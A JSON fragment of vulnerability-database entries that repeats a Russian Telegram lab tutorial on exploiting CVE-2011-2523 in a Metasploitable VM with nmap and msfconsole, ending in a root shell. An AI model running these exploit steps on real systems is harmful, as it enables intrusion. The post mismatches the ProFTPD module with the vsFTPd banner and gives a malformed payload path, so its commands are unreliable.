\u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443. \u0418\u0434\u0435\u043c \u0441\u044e\u0434\u0430 https://sourceforge.net/projects/metasploitable/ \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0436\u0434\u0435\u043c \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438. \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u0447\u0442\u043e \u043c\u043d\u0435 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0443\u0447\u0438\u0442\u044c \u0412\u0430\u0441 \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443. \u0412\u043a\u0440\u0430\u0442\u0446\u0435 \u0441\u043a\u0430\u0436\u0443 \u0447\u0442\u043e \u044f \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u044e Oracle VirtualBox. \u042d\u0442\u043e \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e \u0438 \u043e\u0447\u0435\u043d\u044c \u043a\u0440\u0443\u0442\u043e. \u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0441 ubutu 64x \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u043a \u043d\u0435\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0438\u0441\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c.\n\n#\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440\n\u041c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 \u0434\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440. \u0414\u0440\u0443\u0437\u044c\u044f, \u0432\u0441\u0435 \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435, \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u0430\u043c\u043e\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0438\u043a\u0430\u043a \u0438\u043d\u0430\u0447\u0435. \u0415\u0441\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u0447\u0442\u043e-\u0442\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c, \u0441\u0442\u0430\u043d\u044c\u0442\u0435 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u043e\u043c \u0438\u043b\u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u0435 CTF. \u041d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0437\u043d\u0430\u043d\u0438\u044f \u0432\u043e \u0432\u0440\u0435\u0434 \u043e\u043a\u0440\u0443\u0436\u0430\u044e\u0449\u0438\u043c!\n\n\u0410, \u0438 \u043a\u0441\u0442\u0430\u0442\u0438. \u0421\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043c\u043e\u0441\u0442 \u0443 \u0441\u0435\u0431\u044f \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435. \u0427\u0435\u0440\u0435\u0437 NAT \u043d\u0438\u0447\u0435\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u0422\u0435\u043f\u0435\u0440\u044c \u043a\u043e\u0433\u0434\u0430 \u0432\u0441\u0435 \u0433\u043e\u0442\u043e\u0432\u043e \u043c\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u0432\u0445\u043e\u0434\u0438\u043c \u0442\u0443\u0434\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0430\u043d\u043d\u044b\u0445 msfadmin:msfadmin.\n\n\u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u0439\u0434\u0435\u043c \u0432 Kali Linux \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0442\u0430\u043c \u0431\u0443\u0434\u0435\u0442.\n\n#Nmap\n\u042f \u0431\u044b \u0441 \u0440\u0430\u0434\u043e\u0441\u0442\u044c\u044e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u043a\u0430\u043d\u043d\u0435\u0440\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0442\u0438\u043f\u0443 Nessus \u0438\u043b\u0438 OpenVas, \u043d\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c nmap, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u0441\u0442\u0430\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u043a\u0441\u0438 \u0438\u043b\u0438 \u0442\u043e\u0440 \u043e\u043d\u0438 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\u0431\u044b \u0447\u0442\u043e-\u0442\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0432\u0430\u043c \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0442\u044c \u043d\u0430\u0438\u0437\u0443\u0441\u0442\u044c \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u0442 \u0438\u043b\u0438 \u0438\u043d\u043e\u0439 web \u0441\u0435\u0440\u0432\u0438\u0441.\n\n\u041f\u043e\u0435\u0445\u0430\u043b\u0438. \u0417\u0430\u0445\u043e\u0434\u0438\u043c \u0432 metasploitable \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430\u0448 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 ip \u0430\u0434\u0440\u0435\u0441. \u0412 \u043c\u043e\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u043d -  192.168.1.131. \n\n#\u041d\u0430\u0447\u0430\u043b\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\n\u041f\u0438\u0448\u0435\u043c \u0432 kali linux \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0434\u0443:\n\ud83d\udca3sudo nmap -sV -Pn --script vulners 192.168.1.131\n\u0424\u043b\u0430\u0433 sV \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0437\u0430 \u043f\u043e\u0440\u0442\u043e\u043c \u0438 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u0435\u0433\u043e \u043f\u0430\u0442\u0447\u0430.\n\u0424\u043b\u0430\u0433 Pn \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u044b \u043d\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c  ping \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u0431\u0443\u0434\u0435\u043c \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0445\u043e\u0441\u0442\u044b \u0431\u0443\u0434\u0442\u043e \u0431\u044b \u043e\u043d\u0438 \u043e\u043d\u043b\u0430\u0439\u043d, \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n#\u0412\u044b\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0427\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0443 \u0441\u0435\u043a\u0443\u043d\u0434 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0441\u0430\u043c\u044b\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u0435. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0432\u043e\u0437\u044c\u043c\u0435\u043c CVE-2011-2523.\n\n#msfconsole\n\u0413\u0443\u0433\u043b\u0438\u043c \u0432\u0441\u0435 \u043f\u0440\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u044d\u0442\u0438\u043c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c msfconsole \u0438 \u043f\u0438\u0448\u0435\u043c:\n\n\ud83d\udca3search ftp\n\n\ud83d\udca3use exploit unix/ftp/proftpd133cbackdoor\n\n\u0412\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443. \u042f \u0432\u044b\u0431\u0440\u0430\u043b cmd/unix/interact.\n\n\ud83d\udca3Set payload payload/cmd/interact.\n\n\ud83d\udca3set RHOSTS 192.168.1.131\n\n\u0422\u0443\u0442 \u043a\u0430\u043a \u0432\u044b \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u0442\u0435 ip metasploitable \u0432 \u043b\u043e\u043a\u0430\u043b\u043a\u0435.\n\n\ud83d\udca3Exploit\n\n\u0418 \u0432\u0438\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:\n192.168.1.131:21 - Banner: 220 (vsFTPd 2.3.4)\n* 192.168.1.131:21 - USER: 331 Please specify the password.\n+ 192.168.1.131:21 - Backdoor service has been spawned, handling...\n+ 192.168.1.131:21 - UID: uid=0(root) gid=0(root)\n* Found shell.\n* Command shell session 1 opened (192.168.1.15:39957 -> 192.168.1.131:6200)\n\n\u0418 \u0432\u043e\u0442 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430. \u041f\u0440\u0438\u0447\u0435\u043c \u043e\u043d\u0430 \u0434\u0430\u0436\u0435 root \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430! \u0422\u0430\u043a \u0447\u0442\u043e \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0439 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0435 \u043d\u0430\u0434\u043e. \n\n@linuxkalii", "creation_timestamp": "2026-07-11T00:00:09.180493Z"}, {"uuid": "36dabf96-484c-4d76-85ee-cdb33dc0bec1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "https://t.me/linuxkalii/347", "content": "\u269c\ufe0f \u200bMetasploitable: \u041f\u0440\u0438\u043c\u0435\u0440 \u0430\u0442\u0430\u043a\u0438\n\n\u041f\u043e\u0441\u043a\u043e\u043b\u044c\u043a\u0443 \u0432\u0437\u043b\u0430\u043c\u044b\u0432\u0430\u0442\u044c \u0447\u0443\u0436\u0438\u0435 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u044b \u043d\u0435\u0437\u0430\u043a\u043e\u043d\u043d\u043e \u0430 \u0437\u0430\u043f\u0430\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u0430\u043d\u0438\u0442 \u0442\u0430\u043a-\u0436\u0435 \u043a\u0430\u043a \u043a\u0440\u043e\u0432\u044c \u0434\u043b\u044f \u0432\u0430\u043c\u043f\u0438\u0440\u0430 \u0438\u043c\u0435\u0435\u0442 \u0441\u043c\u044b\u0441\u043b \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u0443\u044e, \u0441\u043a\u0440\u043e\u043c\u043d\u0443\u044e \u043f\u0435\u043d\u0442\u0435\u0441\u0442 \u043b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u044e \u0443 \u0441\u0435\u0431\u044f \u0432 \u0441\u0435\u0442\u0438.\n\n\u0421\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442 \u043c\u043d\u043e\u0433\u043e \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0412\u0430\u043c \u043f\u043e\u043c\u043e\u0447\u044c \u043f\u0440\u043e\u0442\u0435\u0441\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0441\u0432\u043e\u0438 \u043d\u0430\u0432\u044b\u043a\u0438 \u0438\u043b\u0438 \u0432\u0441\u044f\u0447\u0435\u0441\u043a\u0438 \u043f\u043e\u043f\u044b\u0442\u0430\u0442\u044c\u0441\u044f \u0438\u0445 \u0443\u043b\u0443\u0447\u0448\u0438\u0442\u044c. \u0418\u043c\u0438 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f BWapp, Damn Vulnerable Web Application (DVWA), \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e CTF \u0441\u043e\u0440\u0435\u0432\u043d\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u043c\u043d\u043e\u0433\u043e\u0435 \u0434\u0440\u0443\u0433\u043e\u0435. \n\n#Metasploitable\n\u041e\u0434\u043d\u0430\u043a\u043e \u0441\u0435\u0433\u043e\u0434\u043d\u044f \u043c\u044b \u0441\u043a\u0430\u0447\u0438\u0432\u0430\u0435\u043c \u0446\u0435\u043b\u0443\u044e \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443. \u0418\u0434\u0435\u043c \u0441\u044e\u0434\u0430 https://sourceforge.net/projects/metasploitable/ \u0438 \u043f\u0440\u043e\u0441\u0442\u043e \u0436\u0434\u0435\u043c \u0437\u0430\u0432\u0435\u0440\u0448\u0435\u043d\u0438\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438. \u041d\u0430\u0434\u0435\u044e\u0441\u044c, \u0447\u0442\u043e \u043c\u043d\u0435 \u043d\u0435 \u043d\u0443\u0436\u043d\u043e \u0443\u0447\u0438\u0442\u044c \u0412\u0430\u0441 \u043a\u0430\u043a \u0441\u043e\u0437\u0434\u0430\u0442\u044c \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u0443\u044e \u043c\u0430\u0448\u0438\u043d\u0443. \u0412\u043a\u0440\u0430\u0442\u0446\u0435 \u0441\u043a\u0430\u0436\u0443 \u0447\u0442\u043e \u044f \u043f\u0440\u0435\u0434\u043f\u043e\u0447\u0438\u0442\u0430\u044e Oracle VirtualBox. \u042d\u0442\u043e \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e \u0438 \u043e\u0447\u0435\u043d\u044c \u043a\u0440\u0443\u0442\u043e. \u0421\u043e\u0437\u0434\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0441 ubutu 64x \u0438 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0430\u0435\u043c \u043a \u043d\u0435\u0439 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0439 \u0434\u0438\u0441\u043a, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0443 \u043d\u0430\u0441 \u0435\u0441\u0442\u044c.\n\n#\u0414\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440\n\u041c\u0430\u043b\u0435\u043d\u044c\u043a\u0438\u0439 \u0434\u0438\u0441\u043a\u043b\u0435\u0439\u043c\u0435\u0440. \u0414\u0440\u0443\u0437\u044c\u044f, \u0432\u0441\u0435 \u0447\u0442\u043e \u0431\u0443\u0434\u0435\u0442 \u0440\u0430\u0441\u0441\u043a\u0430\u0437\u0430\u043d\u043e \u0432 \u0434\u0430\u043d\u043d\u043e\u043c \u043f\u043e\u0441\u0442\u0435, \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0438\u0441\u043a\u043b\u044e\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0434\u043b\u044f \u0432\u0430\u0448\u0435\u0433\u043e \u0441\u0430\u043c\u043e\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u043d\u0438\u043a\u0430\u043a \u0438\u043d\u0430\u0447\u0435. \u0415\u0441\u043b\u0438 \u0445\u043e\u0442\u0438\u0442\u0435 \u0447\u0442\u043e-\u0442\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c, \u0441\u0442\u0430\u043d\u044c\u0442\u0435 \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u043e\u043c \u0438\u043b\u0438 \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u0435 CTF. \u041d\u0438\u043a\u043e\u0433\u0434\u0430 \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0439\u0442\u0435 \u0437\u043d\u0430\u043d\u0438\u044f \u0432\u043e \u0432\u0440\u0435\u0434 \u043e\u043a\u0440\u0443\u0436\u0430\u044e\u0449\u0438\u043c!\n\n\u0410, \u0438 \u043a\u0441\u0442\u0430\u0442\u0438. \u0421\u043e\u0437\u0434\u0430\u0439\u0442\u0435 \u0441\u0435\u0442\u0435\u0432\u043e\u0439 \u043c\u043e\u0441\u0442 \u0443 \u0441\u0435\u0431\u044f \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440\u0435. \u0427\u0435\u0440\u0435\u0437 NAT \u043d\u0438\u0447\u0435\u0433\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0442\u044c \u043d\u0435 \u0431\u0443\u0434\u0435\u0442. \u0422\u0435\u043f\u0435\u0440\u044c \u043a\u043e\u0433\u0434\u0430 \u0432\u0441\u0435 \u0433\u043e\u0442\u043e\u0432\u043e \u043c\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c \u043c\u0430\u0448\u0438\u043d\u0443 \u0438 \u0432\u0445\u043e\u0434\u0438\u043c \u0442\u0443\u0434\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0434\u0430\u043d\u043d\u044b\u0445 msfadmin:msfadmin.\n\n\u0422\u0435\u043f\u0435\u0440\u044c \u0434\u0430\u0432\u0430\u0439\u0442\u0435 \u0437\u0430\u0439\u0434\u0435\u043c \u0432 Kali Linux \u0438 \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0438\u043c, \u0447\u0442\u043e \u0442\u0430\u043c \u0431\u0443\u0434\u0435\u0442.\n\n#Nmap\n\u042f \u0431\u044b \u0441 \u0440\u0430\u0434\u043e\u0441\u0442\u044c\u044e \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u043d\u043e\u0440\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u0441\u043a\u0430\u043d\u043d\u0435\u0440\u0430\u043c\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u043e \u0442\u0438\u043f\u0443 Nessus \u0438\u043b\u0438 OpenVas, \u043d\u043e \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c nmap, \u0432 \u043a\u043e\u0442\u043e\u0440\u043e\u043c \u0443\u0436\u0435 \u0435\u0441\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041a\u0441\u0442\u0430\u0442\u0438 \u0447\u0435\u0440\u0435\u0437 \u043f\u0440\u043e\u043a\u0441\u0438 \u0438\u043b\u0438 \u0442\u043e\u0440 \u043e\u043d\u0438 \u043d\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\u0431\u044b \u0447\u0442\u043e-\u0442\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u0442\u044c \u0432\u0430\u043c \u043f\u0440\u0438\u0434\u0435\u0442\u0441\u044f \u0437\u043d\u0430\u0442\u044c \u043d\u0430\u0438\u0437\u0443\u0441\u0442\u044c \u043a\u0430\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0442\u043e\u0442 \u0438\u043b\u0438 \u0438\u043d\u043e\u0439 web \u0441\u0435\u0440\u0432\u0438\u0441.\n\n\u041f\u043e\u0435\u0445\u0430\u043b\u0438. \u0417\u0430\u0445\u043e\u0434\u0438\u043c \u0432 metasploitable \u0438 \u0441\u043c\u043e\u0442\u0440\u0438\u043c \u043d\u0430\u0448 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0439 ip \u0430\u0434\u0440\u0435\u0441. \u0412 \u043c\u043e\u0435\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043e\u043d -  192.168.1.131. \n\n#\u041d\u0430\u0447\u0430\u043b\u043e \u0441\u043a\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f\n\u041f\u0438\u0448\u0435\u043c \u0432 kali linux \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0443\u044e \u043a\u043e\u043c\u043f\u0430\u043d\u0434\u0443:\n\ud83d\udca3sudo nmap -sV -Pn --script vulners 192.168.1.131\n\u0424\u043b\u0430\u0433 sV \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u043c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u043e \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0438 \u0441\u0435\u0440\u0432\u0438\u0441\u0430 \u0437\u0430 \u043f\u043e\u0440\u0442\u043e\u043c \u0438 \u0432\u0435\u0440\u0441\u0438\u0435\u0439 \u0435\u0433\u043e \u043f\u0430\u0442\u0447\u0430.\n\u0424\u043b\u0430\u0433 Pn \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043c\u044b \u043d\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u043c  ping \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u0431\u0443\u0434\u0435\u043c \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0432\u0441\u0435 \u0445\u043e\u0441\u0442\u044b \u0431\u0443\u0434\u0442\u043e \u0431\u044b \u043e\u043d\u0438 \u043e\u043d\u043b\u0430\u0439\u043d, \u043f\u0440\u043e\u043f\u0443\u0441\u0442\u0438\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u0445\u043e\u0441\u0442\u043e\u0432.\n\n#\u0412\u044b\u0431\u043e\u0440 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438\n\u0427\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0443 \u0441\u0435\u043a\u0443\u043d\u0434 \u043c\u044b \u0432\u0438\u0434\u0438\u043c \u043e\u0433\u0440\u043e\u043c\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \u041d\u0430\u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u0443\u0435\u0442 \u0441\u0430\u043c\u044b\u0435 \u0432\u044b\u0441\u043e\u043a\u0438\u0435. \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u0432\u043e\u0437\u044c\u043c\u0435\u043c CVE-2011-2523.\n\n#msfconsole\n\u0413\u0443\u0433\u043b\u0438\u043c \u0432\u0441\u0435 \u043f\u0440\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0430 \u0432\u043c\u0435\u0441\u0442\u0435 \u0441 \u044d\u0442\u0438\u043c \u043e\u0442\u043a\u0440\u044b\u0432\u0430\u0435\u043c msfconsole \u0438 \u043f\u0438\u0448\u0435\u043c:\n\n\ud83d\udca3search ftp\n\n\ud83d\udca3use exploit unix/ftp/proftpd133cbackdoor\n\n\u0412\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u043f\u043e\u043b\u0435\u0437\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443. \u042f \u0432\u044b\u0431\u0440\u0430\u043b cmd/unix/interact.\n\n\ud83d\udca3Set payload payload/cmd/interact.\n\n\ud83d\udca3set RHOSTS 192.168.1.131\n\n\u0422\u0443\u0442 \u043a\u0430\u043a \u0432\u044b \u043f\u043e\u043d\u0438\u043c\u0430\u0435\u0442\u0435 ip metasploitable \u0432 \u043b\u043e\u043a\u0430\u043b\u043a\u0435.\n\n\ud83d\udca3Exploit\n\n\u0418 \u0432\u0438\u0434\u0438\u043c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0435:\n192.168.1.131:21 - Banner: 220 (vsFTPd 2.3.4)\n* 192.168.1.131:21 - USER: 331 Please specify the password.\n+ 192.168.1.131:21 - Backdoor service has been spawned, handling...\n+ 192.168.1.131:21 - UID: uid=0(root) gid=0(root)\n* Found shell.\n* Command shell session 1 opened (192.168.1.15:39957 -> 192.168.1.131:6200)\n\n\u0418 \u0432\u043e\u0442 \u0443 \u0432\u0430\u0441 \u0435\u0441\u0442\u044c \u043e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430. \u041f\u0440\u0438\u0447\u0435\u043c \u043e\u043d\u0430 \u0434\u0430\u0436\u0435 root \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430! \u0422\u0430\u043a \u0447\u0442\u043e \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0439 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u043d\u0435 \u043d\u0430\u0434\u043e. \n\n@linuxkalii", "creation_timestamp": "2026-07-12T00:00:55.631011Z"}, {"uuid": "b9815707-e485-43e3-84dd-f0d4d61e42ea", "vulnerability_lookup_origin": 